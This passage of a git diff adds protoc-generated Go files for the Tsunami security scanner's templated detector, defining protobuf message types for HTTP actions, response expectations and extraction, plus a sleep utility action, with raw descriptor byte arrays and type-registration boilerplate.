0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x2e, 0x48, 0x74, 0x74, 0x70, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, + 0x2e, 0x45, 0x78, 0x70, 0x65, 0x63, 0x74, 0x41, 0x6c, 0x6c, 0x48, 0x00, 0x52, 0x09, 0x65, 0x78, + 0x70, 0x65, 0x63, 0x74, 0x41, 0x6c, 0x6c, 0x12, 0x61, 0x0a, 0x0b, 0x65, 0x78, 0x74, 0x72, 0x61, + 0x63, 0x74, 0x5f, 0x61, 0x6e, 0x79, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x3e, 0x2e, 0x74, + 0x73, 0x75, 0x6e, 0x61, 0x6d, 0x69, 0x5f, 0x74, 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, 0x64, + 0x5f, 0x64, 0x65, 0x74, 0x65, 0x63, 0x74, 0x6f, 0x72, 0x2e, 0x48, 0x74, 0x74, 0x70, 0x41, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x48, 0x74, 0x74, 0x70, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, + 0x65, 0x2e, 0x45, 0x78, 0x74, 0x72, 0x61, 0x63, 0x74, 0x41, 0x6e, 0x79, 0x48, 0x01, 0x52, 0x0a, + 0x65, 0x78, 0x74, 0x72, 0x61, 0x63, 0x74, 0x41, 0x6e, 0x79, 0x12, 0x61, 0x0a, 0x0b, 0x65, 0x78, + 0x74, 0x72, 0x61, 0x63, 0x74, 0x5f, 0x61, 0x6c, 0x6c, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x3e, 0x2e, 0x74, 0x73, 0x75, 0x6e, 0x61, 0x6d, 0x69, 0x5f, 0x74, 0x65, 0x6d, 0x70, 0x6c, 0x61, + 0x74, 0x65, 0x64, 0x5f, 0x64, 0x65, 0x74, 0x65, 0x63, 0x74, 0x6f, 0x72, 0x2e, 0x48, 0x74, 0x74, + 0x70, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x48, 0x74, 0x74, 0x70, 0x52, 0x65, 0x73, 0x70, + 0x6f, 0x6e, 0x73, 0x65, 0x2e, 0x45, 0x78, 0x74, 0x72, 0x61, 0x63, 0x74, 0x41, 0x6c, 0x6c, 0x48, + 0x01, 0x52, 0x0a, 0x65, 0x78, 0x74, 0x72, 0x61, 0x63, 0x74, 0x41, 0x6c, 0x6c, 0x1a, 0x1c, 0x0a, + 0x06, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x1a, 0x06, 0x0a, 0x04, 0x42, + 0x6f, 0x64, 0x79, 0x1a, 0x89, 0x02, 0x0a, 0x07, 0x45, 0x78, 0x74, 0x72, 0x61, 0x63, 0x74, 0x12, + 0x23, 0x0a, 0x0d, 0x76, 0x61, 0x72, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x5f, 0x6e, 0x61, 0x6d, 0x65, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x76, 0x61, 0x72, 0x69, 0x61, 0x62, 0x6c, 0x65, + 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x72, 0x65, 0x67, 0x65, 0x78, 0x70, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x72, 0x65, 0x67, 0x65, 0x78, 0x70, 0x12, 0x5d, 0x0a, 0x0b, + 0x66, 0x72, 0x6f, 0x6d, 0x5f, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x18, 0x03, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x3a, 0x2e, 0x74, 0x73, 0x75, 0x6e, 0x61, 0x6d, 0x69, 0x5f, 0x74, 0x65, 0x6d, 0x70, + 0x6c, 0x61, 0x74, 0x65, 0x64, 0x5f, 0x64, 0x65, 0x74, 0x65, 0x63, 0x74, 0x6f, 0x72, 0x2e, 0x48, + 0x74, 0x74, 0x70, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x48, 0x74, 0x74, 0x70, 0x52, 0x65, + 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x2e, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x48, 0x00, 0x52, + 0x0a, 0x66, 0x72, 0x6f, 0x6d, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x12, 0x57, 0x0a, 0x09, 0x66, + 0x72, 0x6f, 0x6d, 0x5f, 0x62, 0x6f, 0x64, 0x79, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x38, + 0x2e, 0x74, 0x73, 0x75, 0x6e, 0x61, 0x6d, 0x69, 0x5f, 0x74, 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, + 0x65, 0x64, 0x5f, 0x64, 0x65, 0x74, 0x65, 0x63, 0x74, 0x6f, 0x72, 0x2e, 0x48, 0x74, 0x74, 0x70, + 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x48, 0x74, 0x74, 0x70, 0x52, 0x65, 0x73, 0x70, 0x6f, + 0x6e, 0x73, 0x65, 0x2e, 0x42, 0x6f, 0x64, 0x79, 0x48, 0x00, 0x52, 0x08, 0x66, 0x72, 0x6f, 0x6d, + 0x42, 0x6f, 0x64, 0x79, 0x42, 0x09, 0x0a, 0x07, 0x65, 0x78, 0x74, 0x72, 0x61, 0x63, 0x74, 0x1a, + 0x65, 0x0a, 0x0a, 0x45, 0x78, 0x74, 0x72, 0x61, 0x63, 0x74, 0x41, 0x6c, 0x6c, 0x12, 0x57, 0x0a, + 0x08, 0x70, 0x61, 0x74, 0x74, 0x65, 0x72, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, + 0x3b, 0x2e, 0x74, 0x73, 0x75, 0x6e, 0x61, 0x6d, 0x69, 0x5f, 0x74, 0x65, 0x6d, 0x70, 0x6c, 0x61, + 0x74, 0x65, 0x64, 0x5f, 0x64, 0x65, 0x74, 0x65, 0x63, 0x74, 0x6f, 0x72, 0x2e, 0x48, 0x74, 0x74, + 0x70, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x48, 0x74, 0x74, 0x70, 0x52, 0x65, 0x73, 0x70, + 0x6f, 0x6e, 0x73, 0x65, 0x2e, 0x45, 0x78, 0x74, 0x72, 0x61, 0x63, 0x74, 0x52, 0x08, 0x70, 0x61, + 0x74, 0x74, 0x65, 0x72, 0x6e, 0x73, 0x1a, 0x65, 0x0a, 0x0a, 0x45, 0x78, 0x74, 0x72, 0x61, 0x63, + 0x74, 0x41, 0x6e, 0x79, 0x12, 0x57, 0x0a, 0x08, 0x70, 0x61, 0x74, 0x74, 0x65, 0x72, 0x6e, 0x73, + 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x3b, 0x2e, 0x74, 0x73, 0x75, 0x6e, 0x61, 0x6d, 0x69, + 0x5f, 0x74, 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, 0x64, 0x5f, 0x64, 0x65, 0x74, 0x65, 0x63, + 0x74, 0x6f, 0x72, 0x2e, 0x48, 0x74, 0x74, 0x70, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x48, + 0x74, 0x74, 0x70, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x2e, 0x45, 0x78, 0x74, 0x72, + 0x61, 0x63, 0x74, 0x52, 0x08, 0x70, 0x61, 0x74, 0x74, 0x65, 0x72, 0x6e, 0x73, 0x1a, 0xde, 0x01, + 0x0a, 0x0b, 0x45, 0x78, 0x70, 0x65, 0x63, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1a, 0x0a, + 0x08, 0x63, 0x6f, 0x6e, 0x74, 0x61, 0x69, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x08, 0x63, 0x6f, 0x6e, 0x74, 0x61, 0x69, 0x6e, 0x73, 0x12, 0x54, 0x0a, 0x06, 0x68, 0x65, 0x61, + 0x64, 0x65, 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x3a, 0x2e, 0x74, 0x73, 0x75, 0x6e, + 0x61, 0x6d, 0x69, 0x5f, 0x74, 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, 0x64, 0x5f, 0x64, 0x65, + 0x74, 0x65, 0x63, 0x74, 0x6f, 0x72, 0x2e, 0x48, 0x74, 0x74, 0x70, 0x41, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x2e, 0x48, 0x74, 0x74, 0x70, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x2e, 0x48, + 0x65, 0x61, 0x64, 0x65, 0x72, 0x48, 0x00, 0x52, 0x06, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x12, + 0x4e, 0x0a, 0x04, 0x62, 0x6f, 0x64, 0x79, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x38, 0x2e, + 0x74, 0x73, 0x75, 0x6e, 0x61, 0x6d, 0x69, 0x5f, 0x74, 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, + 0x64, 0x5f, 0x64, 0x65, 0x74, 0x65, 0x63, 0x74, 0x6f, 0x72, 0x2e, 0x48, 0x74, 0x74, 0x70, 0x41, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x48, 0x74, 0x74, 0x70, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x2e, 0x42, 0x6f, 0x64, 0x79, 0x48, 0x00, 0x52, 0x04, 0x62, 0x6f, 0x64, 0x79, 0x42, + 0x0d, 0x0a, 0x0b, 0x65, 0x78, 0x70, 0x65, 0x63, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x1a, 0x6c, + 0x0a, 0x09, 0x45, 0x78, 0x70, 0x65, 0x63, 0x74, 0x41, 0x6e, 0x79, 0x12, 0x5f, 0x0a, 0x0a, 0x63, + 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, + 0x3f, 0x2e, 0x74, 0x73, 0x75, 0x6e, 0x61, 0x6d, 0x69, 0x5f, 0x74, 0x65, 0x6d, 0x70, 0x6c, 0x61, + 0x74, 0x65, 0x64, 0x5f, 0x64, 0x65, 0x74, 0x65, 0x63, 0x74, 0x6f, 0x72, 0x2e, 0x48, 0x74, 0x74, + 0x70, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x48, 0x74, 0x74, 0x70, 0x52, 0x65, 0x73, 0x70, + 0x6f, 0x6e, 0x73, 0x65, 0x2e, 0x45, 0x78, 0x70, 0x65, 0x63, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, + 0x52, 0x0a, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x1a, 0x6c, 0x0a, 0x09, + 0x45, 0x78, 0x70, 0x65, 0x63, 0x74, 0x41, 0x6c, 0x6c, 0x12, 0x5f, 0x0a, 0x0a, 0x63, 0x6f, 0x6e, + 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x3f, 0x2e, + 0x74, 0x73, 0x75, 0x6e, 0x61, 0x6d, 0x69, 0x5f, 0x74, 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, + 0x64, 0x5f, 0x64, 0x65, 0x74, 0x65, 0x63, 0x74, 0x6f, 0x72, 0x2e, 0x48, 0x74, 0x74, 0x70, 0x41, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x48, 0x74, 0x74, 0x70, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x2e, 0x45, 0x78, 0x70, 0x65, 0x63, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0a, + 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x42, 0x0e, 0x0a, 0x0c, 0x65, 0x78, + 0x70, 0x65, 0x63, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x42, 0x0d, 0x0a, 0x0b, 0x65, 0x78, + 0x74, 0x72, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x56, 0x0a, 0x0a, 0x48, 0x74, 0x74, + 0x70, 0x4d, 0x65, 0x74, 0x68, 0x6f, 0x64, 0x12, 0x16, 0x0a, 0x12, 0x4d, 0x45, 0x54, 0x48, 0x4f, + 0x44, 0x5f, 0x55, 0x4e, 0x53, 0x50, 0x45, 0x43, 0x49, 0x46, 0x49, 0x45, 0x44, 0x10, 0x00, 0x12, + 0x07, 0x0a, 0x03, 0x47, 0x45, 0x54, 0x10, 0x01, 0x12, 0x08, 0x0a, 0x04, 0x50, 0x4f, 0x53, 0x54, + 0x10, 0x02, 0x12, 0x07, 0x0a, 0x03, 0x50, 0x55, 0x54, 0x10, 0x03, 0x12, 0x0a, 0x0a, 0x06, 0x44, + 0x45, 0x4c, 0x45, 0x54, 0x45, 0x10, 0x04, 0x12, 0x08, 0x0a, 0x04, 0x48, 0x45, 0x41, 0x44, 0x10, + 0x05, 0x42, 0x9c, 0x01, 0x0a, 0x28, 0x63, 0x6f, 0x6d, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, + 0x2e, 0x74, 0x73, 0x75, 0x6e, 0x61, 0x6d, 0x69, 0x2e, 0x74, 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, + 0x65, 0x64, 0x70, 0x6c, 0x75, 0x67, 0x69, 0x6e, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x50, 0x01, + 0x5a, 0x6e, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x67, 0x6f, 0x6f, + 0x67, 0x6c, 0x65, 0x2f, 0x74, 0x73, 0x75, 0x6e, 0x61, 0x6d, 0x69, 0x2d, 0x73, 0x65, 0x63, 0x75, + 0x72, 0x69, 0x74, 0x79, 0x2d, 0x73, 0x63, 0x61, 0x6e, 0x6e, 0x65, 0x72, 0x2d, 0x70, 0x6c, 0x75, + 0x67, 0x69, 0x6e, 0x73, 0x2f, 0x74, 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, 0x64, 0x2f, 0x74, + 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, 0x64, 0x64, 0x65, 0x74, 0x65, 0x63, 0x74, 0x6f, 0x72, + 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x2f, 0x74, 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, 0x64, + 0x5f, 0x70, 0x6c, 0x75, 0x67, 0x69, 0x6e, 0x5f, 0x67, 0x6f, 0x5f, 0x70, 0x72, 0x6f, 0x74, 0x6f, + 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, +}) + +var ( + file_action_http_proto_rawDescOnce sync.Once + file_action_http_proto_rawDescData []byte +) + +func file_action_http_proto_rawDescGZIP() []byte { + file_action_http_proto_rawDescOnce.Do(func() { + file_action_http_proto_rawDescData = protoimpl.X.CompressGZIP(unsafe.Slice(unsafe.StringData(file_action_http_proto_rawDesc), len(file_action_http_proto_rawDesc))) + }) + return file_action_http_proto_rawDescData +} + +var file_action_http_proto_enumTypes = make([]protoimpl.EnumInfo, 1) +var file_action_http_proto_msgTypes = make([]protoimpl.MessageInfo, 11) +var file_action_http_proto_goTypes = []any{ + (HttpAction_HttpMethod)(0), // 0: tsunami_templated_detector.HttpAction.HttpMethod + (*HttpAction)(nil), // 1: tsunami_templated_detector.HttpAction + (*HttpAction_HttpHeader)(nil), // 2: tsunami_templated_detector.HttpAction.HttpHeader + (*HttpAction_HttpResponse)(nil), // 3: tsunami_templated_detector.HttpAction.HttpResponse + (*HttpAction_HttpResponse_Header)(nil), // 4: tsunami_templated_detector.HttpAction.HttpResponse.Header + (*HttpAction_HttpResponse_Body)(nil), // 5: tsunami_templated_detector.HttpAction.HttpResponse.Body + (*HttpAction_HttpResponse_Extract)(nil), // 6: tsunami_templated_detector.HttpAction.HttpResponse.Extract + (*HttpAction_HttpResponse_ExtractAll)(nil), // 7: tsunami_templated_detector.HttpAction.HttpResponse.ExtractAll + (*HttpAction_HttpResponse_ExtractAny)(nil), // 8: tsunami_templated_detector.HttpAction.HttpResponse.ExtractAny + (*HttpAction_HttpResponse_Expectation)(nil), // 9: tsunami_templated_detector.HttpAction.HttpResponse.Expectation + (*HttpAction_HttpResponse_ExpectAny)(nil), // 10: tsunami_templated_detector.HttpAction.HttpResponse.ExpectAny + (*HttpAction_HttpResponse_ExpectAll)(nil), // 11: tsunami_templated_detector.HttpAction.HttpResponse.ExpectAll +} +var file_action_http_proto_depIdxs = []int32{ + 0, // 0: tsunami_templated_detector.HttpAction.method:type_name -> tsunami_templated_detector.HttpAction.HttpMethod + 2, // 1: tsunami_templated_detector.HttpAction.headers:type_name -> tsunami_templated_detector.HttpAction.HttpHeader + 3, // 2: tsunami_templated_detector.HttpAction.response:type_name -> tsunami_templated_detector.HttpAction.HttpResponse + 10, // 3: tsunami_templated_detector.HttpAction.HttpResponse.expect_any:type_name -> tsunami_templated_detector.HttpAction.HttpResponse.ExpectAny + 11, // 4: tsunami_templated_detector.HttpAction.HttpResponse.expect_all:type_name -> tsunami_templated_detector.HttpAction.HttpResponse.ExpectAll + 8, // 5: tsunami_templated_detector.HttpAction.HttpResponse.extract_any:type_name -> tsunami_templated_detector.HttpAction.HttpResponse.ExtractAny + 7, // 6: tsunami_templated_detector.HttpAction.HttpResponse.extract_all:type_name -> tsunami_templated_detector.HttpAction.HttpResponse.ExtractAll + 4, // 7: tsunami_templated_detector.HttpAction.HttpResponse.Extract.from_header:type_name -> tsunami_templated_detector.HttpAction.HttpResponse.Header + 5, // 8: tsunami_templated_detector.HttpAction.HttpResponse.Extract.from_body:type_name -> tsunami_templated_detector.HttpAction.HttpResponse.Body + 6, // 9: tsunami_templated_detector.HttpAction.HttpResponse.ExtractAll.patterns:type_name -> tsunami_templated_detector.HttpAction.HttpResponse.Extract + 6, // 10: tsunami_templated_detector.HttpAction.HttpResponse.ExtractAny.patterns:type_name -> tsunami_templated_detector.HttpAction.HttpResponse.Extract + 4, // 11: tsunami_templated_detector.HttpAction.HttpResponse.Expectation.header:type_name -> tsunami_templated_detector.HttpAction.HttpResponse.Header + 5, // 12: tsunami_templated_detector.HttpAction.HttpResponse.Expectation.body:type_name -> tsunami_templated_detector.HttpAction.HttpResponse.Body + 9, // 13: tsunami_templated_detector.HttpAction.HttpResponse.ExpectAny.conditions:type_name -> tsunami_templated_detector.HttpAction.HttpResponse.Expectation + 9, // 14: tsunami_templated_detector.HttpAction.HttpResponse.ExpectAll.conditions:type_name -> tsunami_templated_detector.HttpAction.HttpResponse.Expectation + 15, // [15:15] is the sub-list for method output_type + 15, // [15:15] is the sub-list for method input_type + 15, // [15:15] is the sub-list for extension type_name + 15, // [15:15] is the sub-list for extension extendee + 0, // [0:15] is the sub-list for field type_name +} + +func init() { file_action_http_proto_init() } +func file_action_http_proto_init() { + if File_action_http_proto != nil { + return + } + file_action_http_proto_msgTypes[2].OneofWrappers = []any{ + (*HttpAction_HttpResponse_ExpectAny_)(nil), + (*HttpAction_HttpResponse_ExpectAll_)(nil), + (*HttpAction_HttpResponse_ExtractAny_)(nil), + (*HttpAction_HttpResponse_ExtractAll_)(nil), + } + file_action_http_proto_msgTypes[5].OneofWrappers = []any{ + (*HttpAction_HttpResponse_Extract_FromHeader)(nil), + (*HttpAction_HttpResponse_Extract_FromBody)(nil), + } + file_action_http_proto_msgTypes[8].OneofWrappers = []any{ + (*HttpAction_HttpResponse_Expectation_Header)(nil), + (*HttpAction_HttpResponse_Expectation_Body)(nil), + } + type x struct{} + out := protoimpl.TypeBuilder{ + File: protoimpl.DescBuilder{ + GoPackagePath: reflect.TypeOf(x{}).PkgPath(), + RawDescriptor: unsafe.Slice(unsafe.StringData(file_action_http_proto_rawDesc), len(file_action_http_proto_rawDesc)), + NumEnums: 1, + NumMessages: 11, + NumExtensions: 0, + NumServices: 0, + }, + GoTypes: file_action_http_proto_goTypes, + DependencyIndexes: file_action_http_proto_depIdxs, + EnumInfos: file_action_http_proto_enumTypes, + MessageInfos: file_action_http_proto_msgTypes, + }.Build() + File_action_http_proto = out.File + file_action_http_proto_goTypes = nil + file_action_http_proto_depIdxs = nil +} diff --git a/templated/templateddetector/proto/templated_plugin_go_proto/action_utils.pb.go b/templated/templateddetector/proto/templated_plugin_go_proto/action_utils.pb.go new file mode 100644 index 000000000..f573f1da3 --- /dev/null +++ b/templated/templateddetector/proto/templated_plugin_go_proto/action_utils.pb.go @@ -0,0 +1,216 @@ +// Code generated by protoc-gen-go. DO NOT EDIT. +// versions: +// protoc-gen-go v1.36.5 +// protoc v3.21.12 +// source: action_utils.proto + +package templated_plugin_go_proto + +import ( + protoreflect "google.golang.org/protobuf/reflect/protoreflect" + protoimpl "google.golang.org/protobuf/runtime/protoimpl" + reflect "reflect" + sync "sync" + unsafe "unsafe" +) + +const ( + // Verify that this generated code is sufficiently up-to-date. + _ = protoimpl.EnforceVersion(20 - protoimpl.MinVersion) + // Verify that runtime/protoimpl is sufficiently up-to-date. + _ = protoimpl.EnforceVersion(protoimpl.MaxVersion - 20) +) + +type SleepUtilityAction struct { + state protoimpl.MessageState `protogen:"open.v1"` + // The duration of the sleep in milliseconds. + DurationMs int64 `protobuf:"varint,1,opt,name=duration_ms,json=durationMs,proto3" json:"duration_ms,omitempty"` + unknownFields protoimpl.UnknownFields + sizeCache protoimpl.SizeCache +} + +func (x *SleepUtilityAction) Reset() { + *x = SleepUtilityAction{} + mi := &file_action_utils_proto_msgTypes[0] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) +} + +func (x *SleepUtilityAction) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*SleepUtilityAction) ProtoMessage() {} + +func (x *SleepUtilityAction) ProtoReflect() protoreflect.Message { + mi := &file_action_utils_proto_msgTypes[0] + if x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use SleepUtilityAction.ProtoReflect.Descriptor instead. +func (*SleepUtilityAction) Descriptor() ([]byte, []int) { + return file_action_utils_proto_rawDescGZIP(), []int{0} +} + +func (x *SleepUtilityAction) GetDurationMs() int64 { + if x != nil { + return x.DurationMs + } + return 0 +} + +// Set of utilities that can be used by plugins. +type UtilityAction struct { + state protoimpl.MessageState `protogen:"open.v1"` + // Types that are valid to be assigned to Action: + // + // *UtilityAction_Sleep + Action isUtilityAction_Action `protobuf_oneof:"action"` + unknownFields protoimpl.UnknownFields + sizeCache protoimpl.SizeCache +} + +func (x *UtilityAction) Reset() { + *x = UtilityAction{} + mi := &file_action_utils_proto_msgTypes[1] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) +} + +func (x *UtilityAction) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*UtilityAction) ProtoMessage() {} + +func (x *UtilityAction) ProtoReflect() protoreflect.Message { + mi := &file_action_utils_proto_msgTypes[1] + if x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use UtilityAction.ProtoReflect.Descriptor instead. +func (*UtilityAction) Descriptor() ([]byte, []int) { + return file_action_utils_proto_rawDescGZIP(), []int{1} +} + +func (x *UtilityAction) GetAction() isUtilityAction_Action { + if x != nil { + return x.Action + } + return nil +} + +func (x *UtilityAction) GetSleep() *SleepUtilityAction { + if x != nil { + if x, ok := x.Action.(*UtilityAction_Sleep); ok { + return x.Sleep + } + } + return nil +} + +type isUtilityAction_Action interface { + isUtilityAction_Action() +} + +type UtilityAction_Sleep struct { + Sleep *SleepUtilityAction `protobuf:"bytes,1,opt,name=sleep,proto3,oneof"` +} + +func (*UtilityAction_Sleep) isUtilityAction_Action() {} + +var File_action_utils_proto protoreflect.FileDescriptor + +var file_action_utils_proto_rawDesc = string([]byte{ + 0x0a, 0x12, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x5f, 0x75, 0x74, 0x69, 0x6c, 0x73, 0x2e, 0x70, + 0x72, 0x6f, 0x74, 0x6f, 0x12, 0x1a, 0x74, 0x73, 0x75, 0x6e, 0x61, 0x6d, 0x69, 0x5f, 0x74, 0x65, + 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, 0x64, 0x5f, 0x64, 0x65, 0x74, 0x65, 0x63, 0x74, 0x6f, 0x72, + 0x22, 0x35, 0x0a, 0x12, 0x53, 0x6c, 0x65, 0x65, 0x70, 0x55, 0x74, 0x69, 0x6c, 0x69, 0x74, 0x79, + 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1f, 0x0a, 0x0b, 0x64, 0x75, 0x72, 0x61, 0x74, 0x69, + 0x6f, 0x6e, 0x5f, 0x6d, 0x73, 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0a, 0x64, 0x75, 0x72, + 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x4d, 0x73, 0x22, 0x61, 0x0a, 0x0d, 0x55, 0x74, 0x69, 0x6c, 0x69, + 0x74, 0x79, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x46, 0x0a, 0x05, 0x73, 0x6c, 0x65, 0x65, + 0x70, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x2e, 0x2e, 0x74, 0x73, 0x75, 0x6e, 0x61, 0x6d, + 0x69, 0x5f, 0x74, 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, 0x64, 0x5f, 0x64, 0x65, 0x74, 0x65, + 0x63, 0x74, 0x6f, 0x72, 0x2e, 0x53, 0x6c, 0x65, 0x65, 0x70, 0x55, 0x74, 0x69, 0x6c, 0x69, 0x74, + 0x79, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x48, 0x00, 0x52, 0x05, 0x73, 0x6c, 0x65, 0x65, 0x70, + 0x42, 0x08, 0x0a, 0x06, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x42, 0x9c, 0x01, 0x0a, 0x28, 0x63, + 0x6f, 0x6d, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x74, 0x73, 0x75, 0x6e, 0x61, 0x6d, + 0x69, 0x2e, 0x74, 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, 0x64, 0x70, 0x6c, 0x75, 0x67, 0x69, + 0x6e, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x50, 0x01, 0x5a, 0x6e, 0x67, 0x69, 0x74, 0x68, 0x75, + 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2f, 0x74, 0x73, 0x75, + 0x6e, 0x61, 0x6d, 0x69, 0x2d, 0x73, 0x65, 0x63, 0x75, 0x72, 0x69, 0x74, 0x79, 0x2d, 0x73, 0x63, + 0x61, 0x6e, 0x6e, 0x65, 0x72, 0x2d, 0x70, 0x6c, 0x75, 0x67, 0x69, 0x6e, 0x73, 0x2f, 0x74, 0x65, + 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, 0x64, 0x2f, 0x74, 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, + 0x64, 0x64, 0x65, 0x74, 0x65, 0x63, 0x74, 0x6f, 0x72, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x2f, + 0x74, 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, 0x64, 0x5f, 0x70, 0x6c, 0x75, 0x67, 0x69, 0x6e, + 0x5f, 0x67, 0x6f, 0x5f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, + 0x33, +}) + +var ( + file_action_utils_proto_rawDescOnce sync.Once + file_action_utils_proto_rawDescData []byte +) + +func file_action_utils_proto_rawDescGZIP() []byte { + file_action_utils_proto_rawDescOnce.Do(func() { + file_action_utils_proto_rawDescData = protoimpl.X.CompressGZIP(unsafe.Slice(unsafe.StringData(file_action_utils_proto_rawDesc), len(file_action_utils_proto_rawDesc))) + }) + return file_action_utils_proto_rawDescData +} + +var file_action_utils_proto_msgTypes = make([]protoimpl.MessageInfo, 2) +var file_action_utils_proto_goTypes = []any{ + (*SleepUtilityAction)(nil), // 0: tsunami_templated_detector.SleepUtilityAction + (*UtilityAction)(nil), // 1: tsunami_templated_detector.UtilityAction +} 